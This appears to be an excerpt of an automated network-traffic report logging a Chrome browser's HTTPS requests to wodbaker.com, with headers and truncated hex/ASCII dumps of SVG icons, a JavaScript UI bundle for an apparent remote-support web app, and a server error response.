2024-11-22 22:01:03 UTC	322	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 66 66 66 22 20 64 3d 22 4d 32 36 20 38 76 31 32 61 32 20 32 20 30 20 30 30 32 20 32 68 31 32 61 32 20 32 20 30 20 30 30 32 2d 32 56 38 61 32 20 32 20 30 20 30 30 2d 32 2d 32 48 32 38 61 32 20 32 20 30 20 30 30 2d 32 20 32 7a 6d 31 32 20 31 30 68 2d 38 76 2d 38 68 38 7a 22 2f 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 66 66 66 22 20 64 3d 22 4d 32 32 20 32 36 56 31 36 61 32 20 32 20 30 20 30 30 2d 32 2d 32 48 38 61 32 20 32 20 30 20 30 30 2d 32 20 32 76 32 34 61 32 20 32 20 30 20 30 30 32 20 32 68 32 34 61 32 20 32 20 30 20 30 30 32 2d 32 56 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 48 48"><path fill="#fff" d="M26 8v12a2 2 0 002 2h12a2 2 0 002-2V8a2 2 0 00-2-2H28a2 2 0 00-2 2zm12 10h-8v-8h8z"/><path fill="#fff" d="M22 26V16a2 2 0 00-2-2H8a2 2 0 00-2 2v24a2 2 0 002 2h24a2 2 0 002-2V

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.16	49814	217.77.14.110	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:01:02 UTC	592	OUT	GET /Images/ActionCenter.svg HTTP/1.1 Host: wodbaker.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://wodbaker.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 22:01:03 UTC	368	IN	HTTP/1.1 200 OK Cache-Control: public Content-Length: 346 Content-Type: image/svg+xml Expires: Sat, 23 Nov 2024 20:40:47 GMT Last-Modified: Wed, 24 Jul 2024 01:11:42 GMT Accept-Ranges: bytes ETag: "1DADD6671699B00" Server: Microsoft-HTTPAPI/2.0 X-Robots-Tag: noindex X-Content-Type-Options: nosniff Date: Fri, 22 Nov 2024 22:01:02 GMT Connection: close
2024-11-22 22:01:03 UTC	346	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 32 34 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 73 74 72 6f 6b 65 3d 22 23 66 66 66 22 20 73 74 72 6f 6b 65 2d 6c 69 6e 65 63 61 70 3d 22 72 6f 75 6e 64 22 20 73 74 72 6f 6b 65 2d 6c 69 6e 65 6a 6f 69 6e 3d 22 72 6f 75 6e 64 22 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3d 22 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 61 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 38 20 38 41 36 20 36 20 30 20 31 20 30 20 36 20 38 63 30 20 37 2d 33 20 39 2d 33 20 39 68 31 38 73 2d 33 2d 32 2d 33 2d 39 5a 4d 31 33 2e 37 33 20 32 31 61 32 20 32 20 30 20 30 20 31 2d 33 2e 34 36 20 30 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" fill="none"><g stroke="#fff" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" clip-path="url(#a)"><path d="M18 8A6 6 0 1 0 6 8c0 7-3 9-3 9h18s-3-2-3-9ZM13.73 21a2 2 0 0 1-3.46 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.16	49812	217.77.14.110	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:01:02 UTC	424	OUT	GET /Scripts/SC.main.ts?ScriptImportType=Classic&__Cache=8032cd77-99f2-48ec-b6b2-b64d99072a97 HTTP/1.1 Host: wodbaker.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 22:01:03 UTC	317	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=3600 Content-Length: 270794 Content-Type: text/javascript Expires: Fri, 22 Nov 2024 23:01:02 GMT Vary: Accept-Encoding Server: Microsoft-HTTPAPI/2.0 X-Robots-Tag: noindex X-Content-Type-Options: nosniff Date: Fri, 22 Nov 2024 22:01:02 GMT Connection: close
2024-11-22 22:01:03 UTC	16067	IN	Data Raw: 28 28 29 20 3d 3e 20 7b 0a 20 20 76 61 72 20 5f 5f 64 65 66 50 72 6f 70 20 3d 20 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 3b 0a 20 20 76 61 72 20 5f 5f 64 65 66 50 72 6f 70 73 20 3d 20 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 3b 0a 20 20 76 61 72 20 5f 5f 67 65 74 4f 77 6e 50 72 6f 70 44 65 73 63 73 20 3d 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 73 3b 0a 20 20 76 61 72 20 5f 5f 67 65 74 4f 77 6e 50 72 6f 70 53 79 6d 62 6f 6c 73 20 3d 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 3b 0a 20 20 76 61 72 20 5f 5f 68 61 73 4f 77 6e 50 72 6f 70 20 3d 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 Data Ascii: (() => { var __defProp = Object.defineProperty; var __defProps = Object.defineProperties; var __getOwnPropDescs = Object.getOwnPropertyDescriptors; var __getOwnPropSymbols = Object.getOwnPropertySymbols; var __hasOwnProp = Object.prototype.hasOw
2024-11-22 22:01:03 UTC	16384	IN	Data Raw: 47 65 74 55 6e 69 74 6c 65 73 73 56 61 6c 75 65 73 0a 20 20 7d 29 3b 0a 20 20 66 75 6e 63 74 69 6f 6e 20 63 6f 6e 74 61 69 6e 73 43 6c 61 73 73 28 65 6c 65 6d 65 6e 74 2c 20 63 6c 61 73 73 4e 61 6d 65 29 20 7b 0a 20 20 20 20 72 65 74 75 72 6e 20 21 53 43 2e 75 74 69 6c 2e 69 73 4e 75 6c 6c 4f 72 45 6d 70 74 79 28 65 6c 65 6d 65 6e 74 2e 63 6c 61 73 73 4e 61 6d 65 29 20 26 26 20 28 22 20 22 20 2b 20 65 6c 65 6d 65 6e 74 2e 63 6c 61 73 73 4e 61 6d 65 20 2b 20 22 20 22 29 2e 69 6e 64 65 78 4f 66 28 22 20 22 20 2b 20 63 6c 61 73 73 4e 61 6d 65 20 2b 20 22 20 22 29 20 21 3d 20 2d 31 3b 0a 20 20 7d 0a 20 20 66 75 6e 63 74 69 6f 6e 20 74 6f 67 67 6c 65 43 6c 61 73 73 28 65 6c 65 6d 65 6e 74 2c 20 63 6c 61 73 73 4e 61 6d 65 29 20 7b 0a 20 20 20 20 69 66 20 28 63 Data Ascii: GetUnitlessValues }); function containsClass(element, className) { return !SC.util.isNullOrEmpty(element.className) && (" " + element.className + " ").indexOf(" " + className + " ") != -1; } function toggleClass(element, className) { if (c
2024-11-22 22:01:03 UTC	16384	IN	Data Raw: 64 54 69 74 6c 65 54 65 78 74 2c 0a 20 20 20 20 20 20 73 68 6f 75 6c 64 46 6f 63 75 73 4f 6e 42 75 74 74 6f 6e 3a 20 21 72 65 71 75 69 72 65 73 44 61 74 61 2c 0a 20 20 20 20 20 20 73 68 6f 75 6c 64 46 6f 63 75 73 4f 6e 46 69 72 73 74 49 6e 70 75 74 45 6c 65 6d 65 6e 74 3a 20 72 65 71 75 69 72 65 73 44 61 74 61 2c 0a 20 20 20 20 20 20 63 6f 6e 74 65 6e 74 3a 20 5b 0a 20 20 20 20 20 20 20 20 24 64 69 76 28 7b 20 63 6c 61 73 73 4e 61 6d 65 3a 20 63 6f 6d 6d 61 6e 64 4e 61 6d 65 20 2b 20 22 49 6d 61 67 65 20 43 6f 6d 6d 61 6e 64 49 6d 61 67 65 22 20 7d 29 2c 0a 20 20 20 20 20 20 20 20 24 70 28 7b 20 5f 69 6e 6e 65 72 48 54 4d 4c 54 6f 42 65 53 61 6e 69 74 69 7a 65 64 3a 20 53 43 2e 72 65 73 5b 22 43 6f 6d 6d 61 6e 64 2e 22 20 2b 20 63 6f 6d 6d 61 6e 64 4e 61 Data Ascii: dTitleText, shouldFocusOnButton: !requiresData, shouldFocusOnFirstInputElement: requiresData, content: [ $div({ className: commandName + "Image CommandImage" }), $p({ _innerHTMLToBeSanitized: SC.res["Command." + commandNa
2024-11-22 22:01:03 UTC	16384	IN	Data Raw: 20 65 6c 65 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 65 76 65 6e 74 4e 61 6d 65 2c 20 66 75 6e 63 2c 20 66 61 6c 73 65 29 3b 0a 20 20 20 20 65 6c 73 65 20 69 66 20 28 74 79 70 65 6f 66 20 65 6c 65 6d 65 6e 74 2e 61 74 74 61 63 68 45 76 65 6e 74 20 21 3d 3d 20 22 75 6e 64 65 66 69 6e 65 64 22 29 0a 20 20 20 20 20 20 65 6c 65 6d 65 6e 74 2e 61 74 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 22 20 2b 20 65 76 65 6e 74 4e 61 6d 65 2c 20 66 75 6e 63 29 3b 0a 20 20 20 20 65 6c 73 65 0a 20 20 20 20 20 20 65 6c 65 6d 65 6e 74 5b 22 6f 6e 22 20 2b 20 65 76 65 6e 74 4e 61 6d 65 5d 20 3d 20 66 75 6e 63 3b 0a 20 20 20 20 69 66 20 28 65 76 65 6e 74 4e 61 6d 65 20 21 3d 3d 20 22 64 61 74 61 61 76 61 69 6c 61 62 6c 65 22 20 26 26 20 53 43 2e 75 74 69 Data Ascii: element.addEventListener(eventName, func, false); else if (typeof element.attachEvent !== "undefined") element.attachEvent("on" + eventName, func); else element["on" + eventName] = func; if (eventName !== "dataavailable" && SC.uti
2024-11-22 22:01:03 UTC	16384	IN	Data Raw: 65 72 63 65 6e 74 61 67 65 29 2e 74 6f 46 69 78 65 64 28 32 29 20 2b 20 22 25 3b 22 2c 20 74 69 74 6c 65 3a 20 28 31 30 30 20 2d 20 70 65 72 63 65 6e 74 61 67 65 29 2e 74 6f 46 69 78 65 64 28 32 29 20 2b 20 22 25 22 20 7d 29 0a 20 20 20 20 5d 29 3b 0a 20 20 7d 0a 20 20 66 75 6e 63 74 69 6f 6e 20 63 72 65 61 74 65 49 6e 66 6f 49 63 6f 6e 28 74 6f 6f 6c 74 69 70 54 65 78 74 29 20 7b 0a 20 20 20 20 72 65 74 75 72 6e 20 74 6f 6f 6c 74 69 70 54 65 78 74 20 3f 20 24 73 70 61 6e 28 7b 0a 20 20 20 20 20 20 63 6c 61 73 73 4e 61 6d 65 3a 20 22 49 6e 66 6f 49 63 6f 6e 22 2c 0a 20 20 20 20 20 20 6f 6e 6d 6f 75 73 65 65 6e 74 65 72 3a 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 20 20 20 20 20 20 53 43 2e 74 6f 6f 6c 74 69 70 2e 73 68 6f 77 50 61 6e 65 6c 28 74 68 Data Ascii: ercentage).toFixed(2) + "%;", title: (100 - percentage).toFixed(2) + "%" }) ]); } function createInfoIcon(tooltipText) { return tooltipText ? $span({ className: "InfoIcon", onmouseenter: function() { SC.tooltip.showPanel(th
2024-11-22 22:01:03 UTC	16384	IN	Data Raw: 67 73 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 0a 20 20 20 20 20 20 20 20 65 76 65 6e 74 41 72 67 73 2e 64 61 74 61 54 72 61 6e 73 66 65 72 2e 64 72 6f 70 45 66 66 65 63 74 20 3d 20 22 63 6f 70 79 22 3b 0a 20 20 20 20 20 20 7d 29 3b 0a 20 20 20 20 7d 0a 20 20 20 20 72 65 74 75 72 6e 20 69 6d 61 67 65 53 65 6c 65 63 74 6f 72 50 61 6e 65 6c 3b 0a 20 20 7d 0a 20 20 66 75 6e 63 74 69 6f 6e 20 63 72 65 61 74 65 45 64 69 74 61 62 6c 65 49 6e 70 75 74 28 63 6f 6d 6d 61 6e 64 4e 61 6d 65 2c 20 70 72 6f 70 65 72 74 69 65 73 2c 20 63 61 6e 63 65 6c 42 6c 75 72 2c 20 6f 6e 46 6f 63 75 73 2c 20 73 68 6f 75 6c 64 44 69 73 70 61 74 63 68 43 6f 6d 6d 61 6e 64 4f 6e 4b 65 79 55 70 29 20 7b 0a 20 20 20 20 76 61 72 20 66 69 65 6c 64 20 3d 20 24 69 6e 70 75 74 Data Ascii: gs.preventDefault(); eventArgs.dataTransfer.dropEffect = "copy"; }); } return imageSelectorPanel; } function createEditableInput(commandName, properties, cancelBlur, onFocus, shouldDispatchCommandOnKeyUp) { var field = $input
2024-11-22 22:01:03 UTC	16384	IN	Data Raw: 0a 20 20 20 20 20 20 20 20 20 20 62 72 65 61 6b 3b 0a 20 20 20 20 20 20 20 20 63 61 73 65 20 22 4f 70 65 6e 45 6d 61 69 6c 22 3a 0a 20 20 20 20 20 20 20 20 20 20 65 6d 61 69 6c 42 6f 64 79 52 65 73 6f 75 72 63 65 49 6e 66 6f 20 3d 20 67 65 74 45 6d 61 69 6c 52 65 73 6f 75 72 63 65 49 6e 66 6f 46 75 6e 63 28 75 72 6c 29 3b 0a 20 20 20 20 20 20 20 20 20 20 53 43 2e 75 74 69 6c 2e 6f 70 65 6e 43 6c 69 65 6e 74 45 6d 61 69 6c 28 0a 20 20 20 20 20 20 20 20 20 20 20 20 6e 75 6c 6c 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 53 43 2e 75 74 69 6c 2e 66 6f 72 6d 61 74 53 74 72 69 6e 67 28 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 53 43 2e 75 74 69 6c 2e 67 65 74 52 65 73 6f 75 72 63 65 57 69 74 68 46 61 6c 6c 62 61 63 6b 28 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: break; case "OpenEmail": emailBodyResourceInfo = getEmailResourceInfoFunc(url); SC.util.openClientEmail( null, SC.util.formatString( SC.util.getResourceWithFallback(
2024-11-22 22:01:03 UTC	16384	IN	Data Raw: 3a 20 22 22 29 20 2b 20 22 20 22 20 2b 20 53 43 2e 75 74 69 6c 2e 66 6f 72 6d 61 74 44 61 74 65 54 69 6d 65 28 6e 65 77 20 44 61 74 65 28 73 75 62 45 76 65 6e 74 2e 74 69 6d 65 29 2c 20 7b 20 69 6e 63 6c 75 64 65 46 75 6c 6c 44 61 74 65 3a 20 74 72 75 65 2c 20 69 6e 63 6c 75 64 65 52 65 6c 61 74 69 76 65 44 61 74 65 3a 20 74 72 75 65 2c 20 69 6e 63 6c 75 64 65 53 65 63 6f 6e 64 73 3a 20 74 72 75 65 20 7d 29 20 2b 20 28 73 75 62 45 76 65 6e 74 2e 64 61 74 61 20 3f 20 53 43 2e 75 74 69 6c 2e 66 6f 72 6d 61 74 53 74 72 69 6e 67 28 53 43 2e 72 65 73 5b 22 53 65 73 73 69 6f 6e 45 76 65 6e 74 53 75 62 45 76 65 6e 74 2e 44 61 74 61 46 6f 72 6d 61 74 22 5d 2c 20 73 75 62 45 76 65 6e 74 2e 64 61 74 61 29 20 3a 20 22 22 29 3b 0a 20 20 20 20 20 20 72 65 74 75 72 6e Data Ascii: : "") + " " + SC.util.formatDateTime(new Date(subEvent.time), { includeFullDate: true, includeRelativeDate: true, includeSeconds: true }) + (subEvent.data ? SC.util.formatString(SC.res["SessionEventSubEvent.DataFormat"], subEvent.data) : ""); return
2024-11-22 22:01:03 UTC	16384	IN	Data Raw: 74 3a 20 22 42 75 69 6c 64 49 6e 73 74 61 6c 6c 65 72 50 61 6e 65 6c 2e 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 72 65 73 6f 75 72 63 65 4e 61 6d 65 46 6f 72 6d 61 74 41 72 67 73 3a 20 5b 5d 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 72 65 73 6f 75 72 63 65 46 6f 72 6d 61 74 41 72 67 73 3a 20 5b 53 43 2e 63 6f 6e 74 65 78 74 2e 75 73 65 72 44 69 73 70 6c 61 79 4e 61 6d 65 2c 20 75 72 6c 5d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 3b 0a 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 29 0a 20 20 20 20 20 20 5d 0a 20 20 20 20 29 3b 0a 20 20 7d 0a 20 20 66 75 6e 63 74 69 6f 6e 20 73 68 6f 77 49 6e 73 74 61 6c 6c 41 63 63 65 73 73 44 69 61 6c 6f 67 28 6f 6e 53 75 62 6d 69 74 29 20 7b 0a 20 20 20 20 73 68 6f 77 44 69 61 6c 6f 67 28 Data Ascii: t: "BuildInstallerPanel.", resourceNameFormatArgs: [], resourceFormatArgs: [SC.context.userDisplayName, url] }; } ) ] ); } function showInstallAccessDialog(onSubmit) { showDialog(
2024-11-22 22:01:03 UTC	16384	IN	Data Raw: 20 3f 20 53 43 2e 63 6f 6e 74 65 78 74 2e 69 6e 73 74 61 6e 63 65 55 72 6c 53 63 68 65 6d 65 20 3a 20 53 43 2e 75 74 69 6c 2e 69 73 43 61 70 61 62 6c 65 28 53 43 2e 75 74 69 6c 2e 43 61 70 73 2e 57 69 6e 64 6f 77 73 4d 6f 64 65 72 6e 29 20 3f 20 22 6d 73 2d 6c 6f 63 61 6c 2d 73 74 72 65 61 6d 22 20 3a 20 22 72 65 6c 61 79 22 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 75 72 6c 20 3d 20 67 65 74 53 63 68 65 6d 65 55 72 6c 46 75 6e 63 28 73 63 68 65 6d 65 2c 20 63 6c 70 2c 20 53 43 2e 75 74 69 6c 2e 69 73 43 61 70 61 62 6c 65 28 53 43 2e 75 74 69 6c 2e 43 61 70 73 2e 57 69 6e 64 6f 77 73 44 65 73 6b 74 6f 70 29 20 7c 7c 20 53 43 2e 75 74 69 6c 2e 69 73 43 61 70 61 62 6c 65 28 53 43 2e 75 74 69 6c 2e 43 61 70 73 2e 57 69 6e 64 6f 77 73 Data Ascii: ? SC.context.instanceUrlScheme : SC.util.isCapable(SC.util.Caps.WindowsModern) ? "ms-local-stream" : "relay"; var url = getSchemeUrlFunc(scheme, clp, SC.util.isCapable(SC.util.Caps.WindowsDesktop) \|\| SC.util.isCapable(SC.util.Caps.Windows

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.16	49816	217.77.14.110	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:01:02 UTC	592	OUT	GET /Images/Applications.svg HTTP/1.1 Host: wodbaker.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://wodbaker.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 22:01:03 UTC	368	IN	HTTP/1.1 200 OK Cache-Control: public Content-Length: 821 Content-Type: image/svg+xml Expires: Sat, 23 Nov 2024 20:40:47 GMT Last-Modified: Wed, 24 Jul 2024 01:11:42 GMT Accept-Ranges: bytes ETag: "1DADD6671699B00" Server: Microsoft-HTTPAPI/2.0 X-Robots-Tag: noindex X-Content-Type-Options: nosniff Date: Fri, 22 Nov 2024 22:01:02 GMT Connection: close
2024-11-22 22:01:03 UTC	821	IN	Data Raw: 3c 73 76 67 20 69 64 3d 22 4c 61 79 65 72 5f 31 22 20 64 61 74 61 2d 6e 61 6d 65 3d 22 4c 61 79 65 72 20 31 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 3e 3c 64 65 66 73 3e 3c 73 74 79 6c 65 3e 2e 63 6c 73 2d 31 7b 66 69 6c 6c 3a 23 66 66 66 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 64 65 66 73 3e 3c 74 69 74 6c 65 3e 57 61 66 66 6c 65 49 63 6f 6e 3c 2f 74 69 74 6c 65 3e 3c 72 65 63 74 20 63 6c 61 73 73 3d 22 63 6c 73 2d 31 22 20 78 3d 22 33 32 2e 30 35 22 20 79 3d 22 37 22 20 77 69 64 74 68 3d 22 38 2e 39 35 22 20 68 65 69 67 68 74 3d 22 38 2e 39 35 22 20 72 78 3d 22 32 22 2f 3e 3c 72 65 63 74 20 63 6c 61 73 73 3d 22 63 6c 73 2d 31 22 20 Data Ascii: <svg id="Layer_1" data-name="Layer 1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 48 48"><defs><style>.cls-1{fill:#fff;}</style></defs><title>WaffleIcon</title><rect class="cls-1" x="32.05" y="7" width="8.95" height="8.95" rx="2"/><rect class="cls-1"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.16	49818	217.77.14.110	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:01:04 UTC	373	OUT	GET /Services/PageService.ashx/GetLiveData HTTP/1.1 Host: wodbaker.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 22:01:05 UTC	355	IN	HTTP/1.1 500 Internal Server Error Cache-Control: no-cache, no-store Pragma: no-cache Content-Length: 111 Content-Type: application/json; charset=utf-8 Expires: -1 Server: Microsoft-HTTPAPI/2.0 X-Robots-Tag: noindex X-Content-Type-Options: nosniff Access-Control-Allow-Credentials: true Date: Fri, 22 Nov 2024 22:01:04 GMT Connection: close
2024-11-22 22:01:05 UTC	111	IN	Data Raw: 7b 22 65 72 72 6f 72 54 79 70 65 22 3a 22 41 72 67 75 6d 65 6e 74 4e 75 6c 6c 45 78 63 65 70 74 69 6f 6e 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 56 61 6c 75 65 20 63 61 6e 6e 6f 74 20 62 65 20 6e 75 6c 6c 2e 5c 72 5c 6e 50 61 72 61 6d 65 74 65 72 20 6e 61 6d 65 3a 20 73 6f 75 72 63 65 22 2c 22 64 65 74 61 69 6c 22 3a 6e 75 6c 6c 7d Data Ascii: {"errorType":"ArgumentNullException","message":"Value cannot be null.\r\nParameter name: source","detail":null}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.16	49820	217.77.14.110	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:01:04 UTC	359	OUT	GET /Images/ActionCenter.svg HTTP/1.1 Host: wodbaker.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 22:01:05 UTC	368	IN	HTTP/1.1 200 OK Cache-Control: public Content-Length: 346 Content-Type: image/svg+xml Expires: Sat, 23 Nov 2024 20:40:47 GMT Last-Modified: Wed, 24 Jul 2024 01:11:42 GMT Accept-Ranges: bytes ETag: "1DADD6671699B00" Server: Microsoft-HTTPAPI/2.0 X-Robots-Tag: noindex X-Content-Type-Options: nosniff Date: Fri, 22 Nov 2024 22:01:04 GMT Connection: close
2024-11-22 22:01:05 UTC	346	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 32 34 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 73 74 72 6f 6b 65 3d 22 23 66 66 66 22 20 73 74 72 6f 6b 65 2d 6c 69 6e 65 63 61 70 3d 22 72 6f 75 6e 64 22 20 73 74 72 6f 6b 65 2d 6c 69 6e 65 6a 6f 69 6e 3d 22 72 6f 75 6e 64 22 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3d 22 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 61 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 38 20 38 41 36 20 36 20 30 20 31 20 30 20 36 20 38 63 30 20 37 2d 33 20 39 2d 33 20 39 68 31 38 73 2d 33 2d 32 2d 33 2d 39 5a 4d 31 33 2e 37 33 20 32 31 61 32 20 32 20 30 20 30 20 31 2d 33 2e 34 36 20 30 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" fill="none"><g stroke="#fff" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" clip-path="url(#a)"><path d="M18 8A6 6 0 1 0 6 8c0 7-3 9-3 9h18s-3-2-3-9ZM13.73 21a2 2 0 0 1-3.46 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.16	49819	217.77.14.110	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:01:04 UTC	353	OUT	GET /Images/Extras.svg HTTP/1.1 Host: wodbaker.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 22:01:05 UTC	368	IN	HTTP/1.1 200 OK Cache-Control: public Content-Length: 322 Content-Type: image/svg+xml Expires: Sat, 23 Nov 2024 20:40:47 GMT Last-Modified: Wed, 24 Jul 2024 01:11:42 GMT Accept-Ranges: bytes ETag: "1DADD6671699B00" Server: Microsoft-HTTPAPI/2.0 X-Robots-Tag: noindex X-Content-Type-Options: nosniff Date: Fri, 22 Nov 2024 22:01:04 GMT Connection: close
2024-11-22 22:01:05 UTC	322	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 66 66 66 22 20 64 3d 22 4d 32 36 20 38 76 31 32 61 32 20 32 20 30 20 30 30 32 20 32 68 31 32 61 32 20 32 20 30 20 30 30 32 2d 32 56 38 61 32 20 32 20 30 20 30 30 2d 32 2d 32 48 32 38 61 32 20 32 20 30 20 30 30 2d 32 20 32 7a 6d 31 32 20 31 30 68 2d 38 76 2d 38 68 38 7a 22 2f 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 66 66 66 22 20 64 3d 22 4d 32 32 20 32 36 56 31 36 61 32 20 32 20 30 20 30 30 2d 32 2d 32 48 38 61 32 20 32 20 30 20 30 30 2d 32 20 32 76 32 34 61 32 20 32 20 30 20 30 30 32 20 32 68 32 34 61 32 20 32 20 30 20 30 30 32 2d 32 56 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 48 48"><path fill="#fff" d="M26 8v12a2 2 0 002 2h12a2 2 0 002-2V8a2 2 0 00-2-2H28a2 2 0 00-2 2zm12 10h-8v-8h8z"/><path fill="#fff" d="M22 26V16a2 2 0 00-2-2H8a2 2 0 00-2 2v24a2 2 0 002 2h24a2 2 0 002-2V

